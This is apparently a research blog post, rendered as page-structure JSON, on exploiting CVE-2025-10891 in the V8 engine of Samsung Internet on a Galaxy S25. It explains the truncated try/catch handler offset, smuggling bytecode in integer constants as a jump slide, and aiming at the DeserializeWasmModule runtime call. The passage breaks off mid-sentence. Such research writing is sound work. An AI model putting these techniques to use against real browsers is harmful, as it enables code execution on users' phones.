entirely.",{"type":21,"tag":22,"props":134274,"children":134275},{},[134276,134278,134285],{"type":26,"value":134277},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":21,"tag":29,"props":134279,"children":134282},{"href":134280,"rel":134281},"https://cor.team",[33],[134283],{"type":26,"value":134284},"Crusaders of Rust",{"type":26,"value":134286}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":21,"tag":114,"props":134288,"children":134290},{"id":134289},"finding-the-v8-version",[134291],{"type":26,"value":134292},"Finding the V8 Version",{"type":21,"tag":22,"props":134294,"children":134295},{},[134296,134298,134305],{"type":26,"value":134297},"We started by pulling Samsung Internet's APK from the device over ",{"type":21,"tag":29,"props":134299,"children":134302},{"href":134300,"rel":134301},"https://developer.android.com/tools/adb",[33],[134303],{"type":26,"value":134304},"adb",{"type":26,"value":134306}," and inspecting the libraries it shipped with.",{"type":21,"tag":22,"props":134308,"children":134309},{},[134310,134312,134318,134320,134326],{"type":26,"value":134311},"After extracting the APK, we searched the ",{"type":21,"tag":78,"props":134313,"children":134315},{"className":134314},[],[134316],{"type":26,"value":134317},"lib/",{"type":26,"value":134319}," directory for ",{"type":21,"tag":78,"props":134321,"children":134323},{"className":134322},[],[134324],{"type":26,"value":134325},"v8::*",{"type":26,"value":134327}," symbols:",{"type":21,"tag":143,"props":134329,"children":134331},{"code":134330},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[134332],{"type":21,"tag":78,"props":134333,"children":134334},{"__ignoreMap":7},[134335],{"type":26,"value":134330},{"type":21,"tag":22,"props":134337,"children":134338},{},[134339,134341,134347],{"type":26,"value":134340},"Only one file matched our search: ",{"type":21,"tag":78,"props":134342,"children":134344},{"className":134343},[],[134345],{"type":26,"value":134346},"libterrace.so",{"type":26,"value":134348},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":21,"tag":22,"props":134350,"children":134351},{},[134352],{"type":21,"tag":3644,"props":134353,"children":134356},{"alt":134354,"src":134355},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":21,"tag":22,"props":134358,"children":134359},{},[134360,134362,134368],{"type":26,"value":134361},"Surprisingly, this ",{"type":21,"tag":78,"props":134363,"children":134365},{"className":134364},[],[134366],{"type":26,"value":134367},"13.6.233.10",{"type":26,"value":134369}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":21,"tag":114,"props":134371,"children":134373},{"id":134372},"choosing-the-bug",[134374],{"type":26,"value":134375},"Choosing the Bug",{"type":21,"tag":22,"props":134377,"children":134378},{},[134379,134381,134387],{"type":26,"value":134380},"We were able to trigger a couple of bugs on our locally compiled ",{"type":21,"tag":78,"props":134382,"children":134384},{"className":134383},[],[134385],{"type":26,"value":134386},"d8",{"type":26,"value":134388}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":21,"tag":22,"props":134390,"children":134391},{},[134392,134394,134401],{"type":26,"value":134393},"Another one was ",{"type":21,"tag":29,"props":134395,"children":134398},{"href":134396,"rel":134397},"https://issuetracker.google.com/issues/443875388",[33],[134399],{"type":26,"value":134400},"CVE-2025-10891",{"type":26,"value":134402}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":21,"tag":66,"props":134404,"children":134406},{"id":134405},"ignition-bytecode-introduction",[134407],{"type":26,"value":134408},"Ignition Bytecode Introduction",{"type":21,"tag":22,"props":134410,"children":134411},{},[134412,134414,134421],{"type":26,"value":134413},"V8 initially compiles all JS code to a bytecode format with the ",{"type":21,"tag":29,"props":134415,"children":134418},{"href":134416,"rel":134417},"https://v8.dev/blog/ignition-interpreter",[33],[134419],{"type":26,"value":134420},"Ignition",{"type":26,"value":134422}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":21,"tag":143,"props":134424,"children":134426},{"code":134425,"language":34060,"meta":7,"className":34058,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[134427],{"type":21,"tag":78,"props":134428,"children":134429},{"__ignoreMap":7},[134430,134453,134477,134501],{"type":21,"tag":153,"props":134431,"children":134432},{"class":155,"line":156},[134433,134437,134441,134445,134449],{"type":21,"tag":153,"props":134434,"children":134435},{"style":170},[134436],{"type":26,"value":1555},{"type":21,"tag":153,"props":134438,"children":134439},{"style":192},[134440],{"type":26,"value":92133},{"type":21,"tag":153,"props":134442,"children":134443},{"style":198},[134444],{"type":26,"value":255},{"type":21,"tag":153,"props":134446,"children":134447},{"style":300},[134448],{"type":26,"value":7253},{"type":21,"tag":153,"props":134450,"children":134451},{"style":160},[134452],{"type":26,"value":1759},{"type":21,"tag":153,"props":134454,"children":134455},{"class":155,"line":166},[134456,134460,134464,134468,134473],{"type":21,"tag":153,"props":134457,"children":134458},{"style":170},[134459],{"type":26,"value":1555},{"type":21,"tag":153,"props":134461,"children":134462},{"style":192},[134463],{"type":26,"value":93007},{"type":21,"tag":153,"props":134465,"children":134466},{"style":198},[134467],{"type":26,"value":255},{"type":21,"tag":153,"props":134469,"children":134470},{"style":300},[134471],{"type":26,"value":134472}," 0x0fff",{"type":21,"tag":153,"props":134474,"children":134475},{"style":160},[134476],{"type":26,"value":1759},{"type":21,"tag":153,"props":134478,"children":134479},{"class":155,"line":225},[134480,134484,134488,134492,134497],{"type":21,"tag":153,"props":134481,"children":134482},{"style":170},[134483],{"type":26,"value":1555},{"type":21,"tag":153,"props":134485,"children":134486},{"style":192},[134487],{"type":26,"value":40138},{"type":21,"tag":153,"props":134489,"children":134490},{"style":198},[134491],{"type":26,"value":255},{"type":21,"tag":153,"props":134493,"children":134494},{"style":300},[134495],{"type":26,"value":134496}," 0x0fffffff",{"type":21,"tag":153,"props":134498,"children":134499},{"style":160},[134500],{"type":26,"value":1759},{"type":21,"tag":153,"props":134502,"children":134503},{"class":155,"line":239},[134504,134508,134513,134517,134522],{"type":21,"tag":153,"props":134505,"children":134506},{"style":170},[134507],{"type":26,"value":1555},{"type":21,"tag":153,"props":134509,"children":134510},{"style":192},[134511],{"type":26,"value":134512}," d",{"type":21,"tag":153,"props":134514,"children":134515},{"style":198},[134516],{"type":26,"value":255},{"type":21,"tag":153,"props":134518,"children":134519},{"style":300},[134520],{"type":26,"value":134521}," 0xffffffff",{"type":21,"tag":153,"props":134523,"children":134524},{"style":160},[134525],{"type":26,"value":1759},{"type":21,"tag":22,"props":134527,"children":134528},{},[134529],{"type":26,"value":134530},"compiles to",{"type":21,"tag":143,"props":134532,"children":134534},{"code":134533}," # Load the Smi `1` into the accumulator\n 0 : 0d 01             LdaSmi [1]\n # Store it to register 0\n 2 : ce                Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f       LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd                Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc                Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00             LdaConstant [0]\n# Store it to register 3\n17 : cb                Star3\n18 : 0e                LdaUndefined\n19 : b3                Return\n",[134535],{"type":21,"tag":78,"props":134536,"children":134537},{"__ignoreMap":7},[134538],{"type":26,"value":134533},{"type":21,"tag":22,"props":134540,"children":134541},{},[134542],{"type":26,"value":134543},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":21,"tag":114,"props":134545,"children":134547},{"id":134546},"cve-2025-10891",[134548],{"type":26,"value":134400},{"type":21,"tag":22,"props":134550,"children":134551},{},[134552,134554,134560,134562,134568],{"type":26,"value":134553},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":21,"tag":78,"props":134555,"children":134557},{"className":134556},[],[134558],{"type":26,"value":134559},"[start, end) => handler",{"type":26,"value":134561}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":21,"tag":78,"props":134563,"children":134565},{"className":134564},[],[134566],{"type":26,"value":134567},"handler",{"type":26,"value":134569}," is jumped to.",{"type":21,"tag":143,"props":134571,"children":134573},{"code":134572,"language":34060,"meta":7,"className":34058,"style":7},"try {\n  throw 1;\n} catch {\n  let b = 2;\n}\n",[134574],{"type":21,"tag":78,"props":134575,"children":134576},{"__ignoreMap":7},[134577,134588,134603,134618,134641],{"type":21,"tag":153,"props":134578,"children":134579},{"class":155,"line":156},[134580,134584],{"type":21,"tag":153,"props":134581,"children":134582},{"style":1751},[134583],{"type":26,"value":50621},{"type":21,"tag":153,"props":134585,"children":134586},{"style":160},[134587],{"type":26,"value":236},{"type":21,"tag":153,"props":134589,"children":134590},{"class":155,"line":166},[134591,134595,134599],{"type":21,"tag":153,"props":134592,"children":134593},{"style":1751},[134594],{"type":26,"value":37895},{"type":21,"tag":153,"props":134596,"children":134597},{"style":300},[134598],{"type":26,"value":7253},{"type":21,"tag":153,"props":134600,"children":134601},{"style":160},[134602],{"type":26,"value":1759},{"type":21,"tag":153,"props":134604,"children":134605},{"class":155,"line":225},[134606,134610,134614],{"type":21,"tag":153,"props":134607,"children":134608},{"style":160},[134609],{"type":26,"value":49163},{"type":21,"tag":153,"props":134611,"children":134612},{"style":1751},[134613],{"type":26,"value":50701},{"type":21,"tag":153,"props":134615,"children":134616},{"style":160},[134617],{"type":26,"value":236},{"type":21,"tag":153,"props":134619,"children":134620},{"class":155,"line":239},[134621,134625,134629,134633,134637],{"type":21,"tag":153,"props":134622,"children":134623},{"style":170},[134624],{"type":26,"value":10582},{"type":21,"tag":153,"props":134626,"children":134627},{"style":192},[134628],{"type":26,"value":93007},{"type":21,"tag":153,"props":134630,"children":134631},{"style":198},[134632],{"type":26,"value":255},{"type":21,"tag":153,"props":134634,"children":134635},{"style":300},[134636],{"type":26,"value":10661},{"type":21,"tag":153,"props":134638,"children":134639},{"style":160},[134640],{"type":26,"value":1759},{"type":21,"tag":153,"props":134642,"children":134643},{"class":155,"line":382},[134644],{"type":21,"tag":153,"props":134645,"children":134646},{"style":160},[134647],{"type":26,"value":548},{"type":21,"tag":143,"props":134649,"children":134651},{"code":134650}," 0 : 1b ff f8          Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01             LdaSmi [1]\n 5 : b1                Throw\n # ---------------------------------\n 6 : 10                LdaTheHole\n 7 : b0                SetPendingMessage\n # Start of catch handler\n 8 : 0d 02             LdaSmi [2]\n10 : ce                Star0\n11 : 0e                LdaUndefined\n12 : b3                Return\nHandler Table (size = 16)\n   from   to       hdlr (prediction,   data)\n  (   3,   6)  ->     6 (prediction=1, data=1)\n",[134652],{"type":21,"tag":78,"props":134653,"children":134654},{"__ignoreMap":7},[134655],{"type":26,"value":134650},{"type":21,"tag":22,"props":134657,"children":134658},{},[134659,134661,134666,134668,134673],{"type":26,"value":134660},"However, the ",{"type":21,"tag":78,"props":134662,"children":134664},{"className":134663},[],[134665],{"type":26,"value":134567},{"type":26,"value":134667}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":21,"tag":78,"props":134669,"children":134671},{"className":134670},[],[134672],{"type":26,"value":50701},{"type":26,"value":134674}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":21,"tag":22,"props":134676,"children":134677},{},[134678,134680,134686],{"type":26,"value":134679},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":21,"tag":78,"props":134681,"children":134683},{"className":134682},[],[134684],{"type":26,"value":134685},"yield*",{"type":26,"value":134687}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":21,"tag":66,"props":134689,"children":134691},{"id":134690},"exploitation",[134692],{"type":26,"value":134693},"Exploitation",{"type":21,"tag":114,"props":134695,"children":134697},{"id":134696},"constant-smuggling",[134698],{"type":26,"value":134699},"Constant Smuggling",{"type":21,"tag":22,"props":134701,"children":134702},{},[134703,134705,134712],{"type":26,"value":134704},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":21,"tag":29,"props":134706,"children":134709},{"href":134707,"rel":134708},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[33],[134710],{"type":26,"value":134711},"technique",{"type":26,"value":134713}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":21,"tag":143,"props":134715,"children":134717},{"code":134716,"language":34060,"meta":7,"className":34058,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[134718],{"type":21,"tag":78,"props":134719,"children":134720},{"__ignoreMap":7},[134721,134749,134776,134803],{"type":21,"tag":153,"props":134722,"children":134723},{"class":155,"line":156},[134724,134728,134732,134736,134740,134745],{"type":21,"tag":153,"props":134725,"children":134726},{"style":170},[134727],{"type":26,"value":1555},{"type":21,"tag":153,"props":134729,"children":134730},{"style":192},[134731],{"type":26,"value":92133},{"type":21,"tag":153,"props":134733,"children":134734},{"style":198},[134735],{"type":26,"value":255},{"type":21,"tag":153,"props":134737,"children":134738},{"style":198},[134739],{"type":26,"value":53546},{"type":21,"tag":153,"props":134741,"children":134742},{"style":300},[134743],{"type":26,"value":134744},"9.255963134931783e61",{"type":21,"tag":153,"props":134746,"children":134747},{"style":160},[134748],{"type":26,"value":1759},{"type":21,"tag":153,"props":134750,"children":134751},{"class":155,"line":166},[134752,134756,134760,134764,134768,134772],{"type":21,"tag":153,"props":134753,"children":134754},{"style":170},[134755],{"type":26,"value":1555},{"type":21,"tag":153,"props":134757,"children":134758},{"style":192},[134759],{"type":26,"value":93007},{"type":21,"tag":153,"props":134761,"children":134762},{"style":198},[134763],{"type":26,"value":255},{"type":21,"tag":153,"props":134765,"children":134766},{"style":198},[134767],{"type":26,"value":53546},{"type":21,"tag":153,"props":134769,"children":134770},{"style":300},[134771],{"type":26,"value":134744},{"type":21,"tag":153,"props":134773,"children":134774},{"style":160},[134775],{"type":26,"value":1759},{"type":21,"tag":153,"props":134777,"children":134778},{"class":155,"line":225},[134779,134783,134787,134791,134795,134799],{"type":21,"tag":153,"props":134780,"children":134781},{"style":170},[134782],{"type":26,"value":1555},{"type":21,"tag":153,"props":134784,"children":134785},{"style":192},[134786],{"type":26,"value":40138},{"type":21,"tag":153,"props":134788,"children":134789},{"style":198},[134790],{"type":26,"value":255},{"type":21,"tag":153,"props":134792,"children":134793},{"style":198},[134794],{"type":26,"value":53546},{"type":21,"tag":153,"props":134796,"children":134797},{"style":300},[134798],{"type":26,"value":134744},{"type":21,"tag":153,"props":134800,"children":134801},{"style":160},[134802],{"type":26,"value":1759},{"type":21,"tag":153,"props":134804,"children":134805},{"class":155,"line":239},[134806,134810,134814,134818,134822,134826],{"type":21,"tag":153,"props":134807,"children":134808},{"style":170},[134809],{"type":26,"value":1555},{"type":21,"tag":153,"props":134811,"children":134812},{"style":192},[134813],{"type":26,"value":134512},{"type":21,"tag":153,"props":134815,"children":134816},{"style":198},[134817],{"type":26,"value":255},{"type":21,"tag":153,"props":134819,"children":134820},{"style":198},[134821],{"type":26,"value":53546},{"type":21,"tag":153,"props":134823,"children":134824},{"style":300},[134825],{"type":26,"value":134744},{"type":21,"tag":153,"props":134827,"children":134828},{"style":160},[134829],{"type":26,"value":1759},{"type":21,"tag":22,"props":134831,"children":134832},{},[134833],{"type":26,"value":134834},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":21,"tag":22,"props":134836,"children":134837},{},[134838],{"type":26,"value":134839},"We'll use a similar principle here, although much more limited. With",{"type":21,"tag":143,"props":134841,"children":134843},{"code":134842},"let a = 0x0693bebe;\n",[134844],{"type":21,"tag":78,"props":134845,"children":134846},{"__ignoreMap":7},[134847],{"type":26,"value":134842},{"type":21,"tag":22,"props":134849,"children":134850},{},[134851],{"type":26,"value":134852},"We will compile the bytecode:",{"type":21,"tag":143,"props":134854,"children":134856},{"code":134855},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[134857],{"type":21,"tag":78,"props":134858,"children":134859},{"__ignoreMap":7},[134860],{"type":26,"value":134855},{"type":21,"tag":22,"props":134862,"children":134863},{},[134864,134866,134872,134874,134880,134881,134887],{"type":26,"value":134865},"We can then jump to the 3rd byte (",{"type":21,"tag":78,"props":134867,"children":134869},{"className":134868},[],[134870],{"type":26,"value":134871},"0xbe",{"type":26,"value":134873},"), and gain 2 controlled bytes of execution, followed by ",{"type":21,"tag":78,"props":134875,"children":134877},{"className":134876},[],[134878],{"type":26,"value":134879},"0x93 0x02 - 0xf",{"type":26,"value":5820},{"type":21,"tag":78,"props":134882,"children":134884},{"className":134883},[],[134885],{"type":26,"value":134886},"Jump +[2-15]",{"type":26,"value":134888},") to jump into the next constant.",{"type":21,"tag":22,"props":134890,"children":134891},{},[134892,134894,134900,134902,134908,134910,134916],{"type":26,"value":134893},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":21,"tag":78,"props":134895,"children":134897},{"className":134896},[],[134898],{"type":26,"value":134899},"StarX",{"type":26,"value":134901}," instructions, registers 16-121 resulted in two bytes ",{"type":21,"tag":78,"props":134903,"children":134905},{"className":134904},[],[134906],{"type":26,"value":134907},"Star rX",{"type":26,"value":134909}," instructions, and the next batch resulted in 4 byte ",{"type":21,"tag":78,"props":134911,"children":134913},{"className":134912},[],[134914],{"type":26,"value":134915},"Star.ExtraWide rX",{"type":26,"value":134917}," instructions.",{"type":21,"tag":22,"props":134919,"children":134920},{},[134921,134923,134929],{"type":26,"value":134922},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":21,"tag":78,"props":134924,"children":134926},{"className":134925},[],[134927],{"type":26,"value":134928},"0x8931111",{"type":26,"value":201},{"type":21,"tag":143,"props":134931,"children":134933},{"code":134932,"language":34060,"meta":7,"className":34058,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[134934],{"type":21,"tag":78,"props":134935,"children":134936},{"__ignoreMap":7},[134937,134962,134986,135010,135034,135058,135082],{"type":21,"tag":153,"props":134938,"children":134939},{"class":155,"line":156},[134940,134944,134949,134953,134958],{"type":21,"tag":153,"props":134941,"children":134942},{"style":170},[134943],{"type":26,"value":1555},{"type":21,"tag":153,"props":134945,"children":134946},{"style":192},[134947],{"type":26,"value":134948}," a206",{"type":21,"tag":153,"props":134950,"children":134951},{"style":198},[134952],{"type":26,"value":255},{"type":21,"tag":153,"props":134954,"children":134955},{"style":300},[134956],{"type":26,"value":134957}," 0x8931111",{"type":21,"tag":153,"props":134959,"children":134960},{"style":160},[134961],{"type":26,"value":1759},{"type":21,"tag":153,"props":134963,"children":134964},{"class":155,"line":166},[134965,134969,134974,134978,134982],{"type":21,"tag":153,"props":134966,"children":134967},{"style":170},[134968],{"type":26,"value":1555},{"type":21,"tag":153,"props":134970,"children":134971},{"style":192},[134972],{"type":26,"value":134973}," a207",{"type":21,"tag":153,"props":134975,"children":134976},{"style":198},[134977],{"type":26,"value":255},{"type":21,"tag":153,"props":134979,"children":134980},{"style":300},[134981],{"type":26,"value":134957},{"type":21,"tag":153,"props":134983,"children":134984},{"style":160},[134985],{"type":26,"value":1759},{"type":21,"tag":153,"props":134987,"children":134988},{"class":155,"line":225},[134989,134993,134998,135002,135006],{"type":21,"tag":153,"props":134990,"children":134991},{"style":170},[134992],{"type":26,"value":1555},{"type":21,"tag":153,"props":134994,"children":134995},{"style":192},[134996],{"type":26,"value":134997}," a208",{"type":21,"tag":153,"props":134999,"children":135000},{"style":198},[135001],{"type":26,"value":255},{"type":21,"tag":153,"props":135003,"children":135004},{"style":300},[135005],{"type":26,"value":134957},{"type":21,"tag":153,"props":135007,"children":135008},{"style":160},[135009],{"type":26,"value":1759},{"type":21,"tag":153,"props":135011,"children":135012},{"class":155,"line":239},[135013,135017,135022,135026,135030],{"type":21,"tag":153,"props":135014,"children":135015},{"style":170},[135016],{"type":26,"value":1555},{"type":21,"tag":153,"props":135018,"children":135019},{"style":192},[135020],{"type":26,"value":135021}," a209",{"type":21,"tag":153,"props":135023,"children":135024},{"style":198},[135025],{"type":26,"value":255},{"type":21,"tag":153,"props":135027,"children":135028},{"style":300},[135029],{"type":26,"value":134957},{"type":21,"tag":153,"props":135031,"children":135032},{"style":160},[135033],{"type":26,"value":1759},{"type":21,"tag":153,"props":135035,"children":135036},{"class":155,"line":382},[135037,135041,135046,135050,135054],{"type":21,"tag":153,"props":135038,"children":135039},{"style":170},[135040],{"type":26,"value":1555},{"type":21,"tag":153,"props":135042,"children":135043},{"style":192},[135044],{"type":26,"value":135045}," a210",{"type":21,"tag":153,"props":135047,"children":135048},{"style":198},[135049],{"type":26,"value":255},{"type":21,"tag":153,"props":135051,"children":135052},{"style":300},[135053],{"type":26,"value":134957},{"type":21,"tag":153,"props":135055,"children":135056},{"style":160},[135057],{"type":26,"value":1759},{"type":21,"tag":153,"props":135059,"children":135060},{"class":155,"line":501},[135061,135065,135070,135074,135078],{"type":21,"tag":153,"props":135062,"children":135063},{"style":170},[135064],{"type":26,"value":1555},{"type":21,"tag":153,"props":135066,"children":135067},{"style":192},[135068],{"type":26,"value":135069}," a211",{"type":21,"tag":153,"props":135071,"children":135072},{"style":198},[135073],{"type":26,"value":255},{"type":21,"tag":153,"props":135075,"children":135076},{"style":300},[135077],{"type":26,"value":134957},{"type":21,"tag":153,"props":135079,"children":135080},{"style":160},[135081],{"type":26,"value":1759},{"type":21,"tag":153,"props":135083,"children":135084},{"class":155,"line":533},[135085,135089,135094,135098,135102],{"type":21,"tag":153,"props":135086,"children":135087},{"style":170},[135088],{"type":26,"value":1555},{"type":21,"tag":153,"props":135090,"children":135091},{"style":192},[135092],{"type":26,"value":135093}," a212",{"type":21,"tag":153,"props":135095,"children":135096},{"style":198},[135097],{"type":26,"value":255},{"type":21,"tag":153,"props":135099,"children":135100},{"style":300},[135101],{"type":26,"value":134957},{"type":21,"tag":153,"props":135103,"children":135104},{"style":160},[135105],{"type":26,"value":1759},{"type":21,"tag":22,"props":135107,"children":135108},{},[135109],{"type":26,"value":135110},"Those instructions result in:",{"type":21,"tag":143,"props":135112,"children":135114},{"code":135113},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8;  >------------+\n04: Star rX + LdaSmi ...   |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[135115],{"type":21,"tag":78,"props":135116,"children":135117},{"__ignoreMap":7},[135118],{"type":26,"value":135113},{"type":21,"tag":22,"props":135120,"children":135121},{},[135122,135124,135130,135132,135136],{"type":26,"value":135123},"(The offset of ",{"type":21,"tag":78,"props":135125,"children":135127},{"className":135126},[],[135128],{"type":26,"value":135129},"Jump",{"type":26,"value":135131}," instructions is added to the ",{"type":21,"tag":5302,"props":135133,"children":135134},{},[135135],{"type":26,"value":73386},{"type":26,"value":135137}," of the instruction.)",{"type":21,"tag":22,"props":135139,"children":135140},{},[135141,135143,135149],{"type":26,"value":135142},"Now, 3 out of the 6 bytes in a ",{"type":21,"tag":78,"props":135144,"children":135146},{"className":135145},[],[135147],{"type":26,"value":135148},"LdaSmi.ExtraWide",{"type":26,"value":135150}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":21,"tag":114,"props":135152,"children":135154},{"id":135153},"exploit-goal",[135155],{"type":26,"value":135156},"Exploit Goal",{"type":21,"tag":22,"props":135158,"children":135159},{},[135160,135162,135168,135169,135175],{"type":26,"value":135161},"Initially we considered using ",{"type":21,"tag":78,"props":135163,"children":135165},{"className":135164},[],[135166],{"type":26,"value":135167},"Star",{"type":26,"value":7310},{"type":21,"tag":78,"props":135170,"children":135172},{"className":135171},[],[135173],{"type":26,"value":135174},"Ldar",{"type":26,"value":135176}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":21,"tag":22,"props":135178,"children":135179},{},[135180,135182,135189],{"type":26,"value":135181},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":21,"tag":29,"props":135183,"children":135186},{"href":135184,"rel":135185},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[33],[135187],{"type":26,"value":135188},"stack pivot and ROP",{"type":26,"value":135190},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":21,"tag":22,"props":135192,"children":135193},{},[135194],{"type":26,"value":135195},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":21,"tag":22,"props":135197,"children":135198},{},[135199],{"type":26,"value":135200},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":21,"tag":22,"props":135202,"children":135203},{},[135204,135206,135212,135214,135220,135222,135228],{"type":26,"value":135205},"At this point, we identified an interesting opcode: ",{"type":21,"tag":78,"props":135207,"children":135209},{"className":135208},[],[135210],{"type":26,"value":135211},"CallRuntime",{"type":26,"value":135213},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":21,"tag":78,"props":135215,"children":135217},{"className":135216},[],[135218],{"type":26,"value":135219},"--allow-natives-syntax",{"type":26,"value":135221}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":21,"tag":78,"props":135223,"children":135225},{"className":135224},[],[135226],{"type":26,"value":135227},"DeserializeWasmModule",{"type":26,"value":355},{"type":21,"tag":22,"props":135230,"children":135231},{},[135232,135234,135241,135242,135247,135248,135254,135256,135263],{"type":26,"value":135233},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":21,"tag":29,"props":135235,"children":135238},{"href":135236,"rel":135237},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[33],[135239],{"type":26,"value":135240},"JIT-compiled functions",{"type":26,"value":21229},{"type":21,"tag":78,"props":135243,"children":135245},{"className":135244},[],[135246],{"type":26,"value":135227},{"type":26,"value":7310},{"type":21,"tag":78,"props":135249,"children":135251},{"className":135250},[],[135252],{"type":26,"value":135253},"SerializeWasmModule",{"type":26,"value":135255}," themselves are only used from test functions, and indeed have been ",{"type":21,"tag":29,"props":135257,"children":135260},{"href":135258,"rel":135259},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[33],[135261],{"type":26,"value":135262},"removed",{"type":26,"value":135264}," from recent production V8 builds due to how abusable this functionality is.",{"type":21,"tag":22,"props":135266,"children":135267},{},[135268,135270,135276,135278,135284,135286,135291,135293,135299,135301,135306,135307,135312,135313,135318,135320,135326,135328,135332],{"type":26,"value":135269},"However, calling this opcode represented a significant challenge:\n",{"type":21,"tag":78,"props":135271,"children":135273},{"className":135272},[],[135274],{"type":26,"value":135275},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":26,"value":135277},"\nWhere ",{"type":21,"tag":78,"props":135279,"children":135281},{"className":135280},[],[135282],{"type":26,"value":135283},"func-id",{"type":26,"value":135285}," is a 2-byte function ID, ",{"type":21,"tag":78,"props":135287,"children":135289},{"className":135288},[],[135290],{"type":26,"value":40921},{"type":26,"value":135292}," is the index of the last register passed and ",{"type":21,"tag":78,"props":135294,"children":135296},{"className":135295},[],[135297],{"type":26,"value":135298},"argc",{"type":26,"value":135300}," is the number of arguments passed (e.g. passing ",{"type":21,"tag":78,"props":135302,"children":135304},{"className":135303},[],[135305],{"type":26,"value":4114},{"type":26,"value":1670},{"type":21,"tag":78,"props":135308,"children":135310},{"className":135309},[],[135311],{"type":26,"value":4258},{"type":26,"value":52},{"type":21,"tag":78,"props":135314,"children":135316},{"className":135315},[],[135317],{"type":26,"value":4241},{"type":26,"value":135319}," would be encoded as ",{"type":21,"tag":78,"props":135321,"children":135323},{"className":135322},[],[135324],{"type":26,"value":135325},"\u003Cr2> \u003C3>",{"type":26,"value":135327},").\nThis requires ",{"type":21,"tag":5302,"props":135329,"children":135330},{},[135331],{"type":26,"value":20805},{"type":26,"value":135333}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":21,"tag":114,"props":135335,"children":135337},{"id":135336},"better-bytecode-control",[135338],{"type":26,"value":135339},"Better Bytecode Control",{"type":21,"tag":22,"props":135341,"children":135342},{},[135343,135345,135352,135354,135360],{"type":26,"value":135344},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":21,"tag":29,"props":135346,"children":135349},{"href":135347,"rel":135348},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[33],[135350],{"type":26,"value":135351},"feedback vector slot",{"type":26,"value":135353},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the 